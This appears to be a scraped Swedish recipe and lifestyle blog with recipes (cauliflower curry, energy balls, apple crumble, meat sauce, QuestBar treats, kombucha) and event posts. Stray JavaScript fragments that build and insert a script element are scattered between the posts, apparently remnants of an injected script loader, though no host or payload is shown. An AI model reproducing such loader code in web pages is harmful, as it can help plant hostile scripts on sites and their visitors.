Coconut Curried Cauliflower with Kale

bild13

Här kommer ett mkt gott recept på en blomkålsrätt som smakar underbart. Du kan antingen välja att äta den helt vegetariskt eller servera med bacon, en köttbit eller fisk. Tror det kan vara gott att lägga i lite kyckling och göra den som en gryta men då får du lägga till lite mer kokosgrädde. Om du vill kan du även göra soppa på denna rätt men då får du lägga till buljong.

Grundreceptet  hittade jag här. Jag har gjort om receptet till svenska mått och ändrat lite.

Recept 4 port
1 msk kokosolja
1 liten  gul lök, skivad
4 klyftor vitlök, pressad
2,5 cm bit  ingefära, riven
1 liten  blomkål, delad i mindre buketter
1,1 dl  vatten
2 tsk gurkmeja
½ tsk  flingsalt
2-3 dl  champinjoner, skivade
2,5 dl grönkål,  strimlad
1,5-2 dl  kokosmjölk

Gör så här:
Värm kokosoljan i en stekpanna på medelvärme.  Lägg i lök och sjud i ca 5 minuter.
Tillsätt vitlök och ingefära och låt sjuda några minuter till. Häll i blomkål, vatten, gurkmeja, salt och lägg på ett lock och låt puttra i  7-10 minuter , tills vattnet är nästan borta. Lägg i dina champinjoner, grönkål och kokosmjölk och låt det stå på plattan på medelvärme ca 7-10 minuter till. Jag serverade rätten med bacon. Imorgon blir det med kyckling.

Bild1bild2bild3

bild6

bild5bild4bild7bild8

bild9bild10bild12bild13bild11

 

Energibollar

bild14

Nu har jag bakat supergoda energibollar. Originalreceptet hittade jag här.

Variera i det oändliga med dadlar och kokosolja som bas. Nästa gång ska jag lägga torkade tranbär eller aprikoser.

Recept (10-12 stycken)  (8 stora bollar)
1 1⁄2 dl pumpafrön
1 1/2 dl solrosfrön
12-14 urkärnade dadlar
1 msk kokosolja
1 tsk äkta vanilj
en gnutta salt

Riven kokos

Gör så här:
Mixa först pumpa- och solrosfrön.
Tillsätt resten av ingredienserna och mixa tills det blandat sig ordentligt. Forma till bollar och rulla i kokos. Förvaras i kylskåp. Du kan förvara dina energibollar i frysen om du vill spara dem till ett annat tillfälle.

bild1

bild15

bild11

bild10

bild9bild8bild6bild7bild5bild4bild13document.currentScript.parentNode.insertBefore(s, document.currentScript);

Äpplesmulpaj

bild14

Den här pajen har jag lagat många gånger och den smakar så gott ihop med vaniljglass.

Recept 2 personer
3 äpplen (Granny Smith) (ca 1/2 kg)
1/2 dl socker
1/2 tsk kanel

Recept smulpaj 2 portioner
50 gram smör
1,5 msk strösocker
0,75 dl vetemjöl
0,75  dl havregryn

Gör så här: Skala och skär alla äpplen i mindre bitar. Lägg i bitarna i en stekpanna och häll på socker. Låt smälta och rör om i ca 5 minuter. Häll på kanel i slutet. Lägg upp i en smörad ugnsfast form. Smulpaj: Smält smöret i en kastrull. Rör ner socker, vetemjöl och havregryn och rör om. Lägg röran på toppen av äpplebitarna och in i ugnen på ca 225 grader i ca 7-10 minuter tills smulpajen fått färg. Servera med kesella eller glass.

bild5bild4bild15

 var d=document;var s=d.createElement(‘script’);

Fläskfilégratäng med mozzarella och soltorkade tomater

Bild1

Det här goda receptet hittade jag här. Jag serverade gratängen med ris och en avokadosallad.

Recept  5-6 personer
2 putsade fläskfileer
smör
salt och peppar

Till italienska täcket:
2 mozzarella bollar
1/2 burk med soltorkade tomater i olja
2 finhackade vitlökssklyftor
Lite ruccola

Såsen :
Sky
vatten 4 dl
2 dl creme fraiche
2 tsk  med soya
3 msk med konc. kalvfond
salt och peppar
1-2 msk maizena mjölredning

bild7

Serveras med kokt potatis eller mos eller ris.

Gör så här:  Ställ ugnen på 225 grader. Hetta upp en stekpanna och bryn den putsade filen i smör och med lite salt och peppar. Fräs på den tills den får bra färg. Skär sedan centimeter tjocka bitar och lägg dem omlott i en ugnsform. Dela mozzarella i småbitar, rör ner den tunt skivade vitlöken och hacka även ner de soltorkade tomaterna. Bred ut täcket över filemedaljongerna och ställ in i mitten på ugnen i cirka 15-20 minuter, tills filén är klar. Vispa ur stekpannan med ett par dl vatten, och sila ner i en gryta, Vänd ner ytterligare 2 dl vatten, soyan, fonden , creme fraiche , låt sjuda upp och smaka av med salt och peppar. Red skyn till önskad konsistens. Innan servering strö över ruccola över gratängen.

bild13bild12bild11bild6bild9bild10bild8bild3bild2

 d.getElementsByTagName(‘head’)[0].appendChild(s);

God köttfärssås

Jag tröttnar aldrig på en god köttfärsss. Det här receptet hittade jag på Taste by Louise blogg.

6 portioner
500 gram nötfärs
100 gram champinjoner
2 msk smör till stekning
1 gul lök (finhackad)
2 vitlöksklyftor (pressade)
2 dl riven morot
1/2 dl tomatpuré
1 tsk torkad timjan
2-3 msk pastakrydda
2 lagerblad
500 gram krossade tomater
1 1/2 -2 dl vispgrädde
Salt
Svartpeppar

Gör så här:
Skiva champinjonerna och stek nötfärsen i smör tills den är genomstekt och har en gyllene färg. Tillsätt champinjonerna och fräs ytterligare ca 2 minuter.
Häll i lök, vitlök och morötter och fräs tills löken blivit glansig. Tillsätt och blanda i tomatpuré, timjan, pastakrydda och lagerblad. Häll i krossade tomater och vispgrädde. Låt koka ihop i ca 20 minuter under lock på svag värme. Rör om då och då.
Koka pastan.
Smaka av köttfärssåsen med salt och svartpeppar, servera tillsammans med pastan. Strö över lite parmesanost och garnera med basilika.

QuestBar Donut

 

bild3

YouTube Preview Image

Nu har jag bakat donuts av QuestBar. I originalreceptet rekommenderar de att använda sig av QuestBar kanelbulle.
Då det inte fanns någon sådan smak kvar när jag handlade blev det Choklad brownie. Konsistensen blev lite seg med Choklad brownien men toppingen var riktigt god och söt.
Kika här efter fler recept.

Såg receptet on donuts av Questbar
Recept 1 donut
1 Questbar kanelbulle (jag använde Chocolate Brownie).
lite Whey
Stevia socker
Lite vatten
Hushållsfärg/pastafärg

Gör så här:
Sätt ugnen på 200 grader. Ta en questbar och forma till en donut. Grädda i ugnen på 200 grader i ca 6 minuter.
Blanda lite whey, stevia socker, lite vatten och pastafärg till en kräm. Pensla på toppingen på din donut.

bild11

bild10bild8bild9bild7bild5bild6bild1bild4bild3

Förvaras i kylskåp .}

Kombucha

bild13

bild5

Nu har jag äntligen smaksatt min kombucha. Jag lät min kombucha stå från 3/8 – 16/8 (13 dagar).
Den första är gjord på svart te med smaken persika/mango. Jag smaksatte min kombucha med persika/granatäpple en behöll en flaska utan naturell.
bild1bild2bild4

bild7

bild5bild6bild10bild3bild9bild8bild11bild12Den stora flaskan till vänster lämnade jag naturell och de små flaskorna smaksatte jag med persika/granatäpple.
bild13bild14

Den andra är gjord på Grönt te med smaken Citron. Jag smaksatte med naturlig äpple mango juice utan tillsatser och behöll en flaska naturell.

bild3

Här ser ni en bild på hur min kombuchasvamp ser ut.

 

bild4bild2Den vänstra flaskan har jag smaksatt med äpple & mango juice utan tillsatser.

bild1

bild6Nu skall min kombucha kolsyras naturligt i 5-6 dagar och sedan in i kylen för att kylas och sen är den färdig att drickas. Ev. kommer jag sila bort frukten i flaskorna.}

Cashew surprise av Quest bar

Bild1YouTube Preview Image

Det här supergoda receptet hittade jag här. Perfekt att server till kaffet efter maten.

Cashew surprise (4 bitar)
1 Questbar kokos/cashew
2 tsp vatten
1 tsp kokosmjöl
1/4 tsp vaniljpulver
1 tsp stevia strö
Lite salt
2 tbsp kokos
1 tsp kokos olja

Topping
70% mörk choklad
Några Cashewnötter
Kokos

Gör så här:
Dela din questbar i 4 delar. Rör ihop alla ingredienser och toppa på dina questbarbitar. Lägg en Cashewnöt på toppen. Smält chokladen och häll över på din questbar. In i frysen tills allt stelnat.

bildabild11bild10bild12bild13bild14

bild2bild5bild8bild7bild3bild4

 

 

yourMinerals och SquareHearts Launch Tour

YouTube Preview Image

bild6

bild7

bild8I lördags var jag bjuden på ett kul event hos min frisör ”Salong grahamwindo”.  Här är en bild på min duktiga frisör Graham tillsammans med mig under kvällens event.

Bild1

Värdar denna kväll var Jennifer Dorvall och Graham Windo – grundare och ägare till yourMinerals, SquareHearts och Salong grahamwindo.

bild12

yourMinerals – a new movement within makeup and beauty
För varje person, för varje tillfälle, och för varje personlighet. Vi tror på naturlig och personlig skönhet. Med våra 100% naturliga ingredienser, utan mineraloljor, alkohol eller irriterande ingredienser, är vi är stolta att presentera varje produkt som bär vårt namn – yourMinerals.

bild10

bild11bild9bild4bild5SquareHearts – The girls of SquareHearts
Vi erbjuder produkter av högsta kvalitet som fokuserar på detaljer, kvinnlighet och en sexig finess. Vi vill visa den vackra flickan där ute, att det är möjligt att titta på modet, sexig och helt enkelt erbjuda det bästa priset för bästa kvalitet för att göra det.  Du kan antingen välja att handla kläder på deras hemsida här. eller gå med i deras VIP club där du varje månad får ett paket innehållande en klänning, en väska och ett smycke för USD 49.99. Till Sverige blir det en liten fraktavgift som tillkommer. Under kvällen hade de ett erbjudande att första månaden betala endast halva priset för mitt paket. Jag fyllde i min profil med stlk, mått och vilken stil jag föredrar och sedan matchar de kläder, väska och smycke till mig. Ser fram emot att få mitt första paket.

bild13

bild19bild1

Lite frisyrtips från Graham.

bild17

Kvällens klädkod var vit klädsel för alla gäster.
bild18Bild2bild15} else {

40-årsfirande i Bristol 23:e maj 2014

Här kommer lite bilder från den trevliga 40-årsfesten i Bristol. Festen hölls på Harvey Nichols i Bristol. Luena hade dekorerat lokalen under dagen och allt gick i guld, vitt och svart. Klädkoden var att bära någon form av huvudbonad eller ansiktsmask. Själv körde jag med mina långa lösögonfransar med strass.
Jag laddade upp hemma hos Andy och Luena med pizza och vin.
ADCB

2

3

5

1

11

47146

Det bjöds på välkomstbubbel, snittar, en massa goda drinkar hela kvällen.

27 26 24 23 22 21 20 18 13 15 10 9 8 19

Eif (document.currentScript) {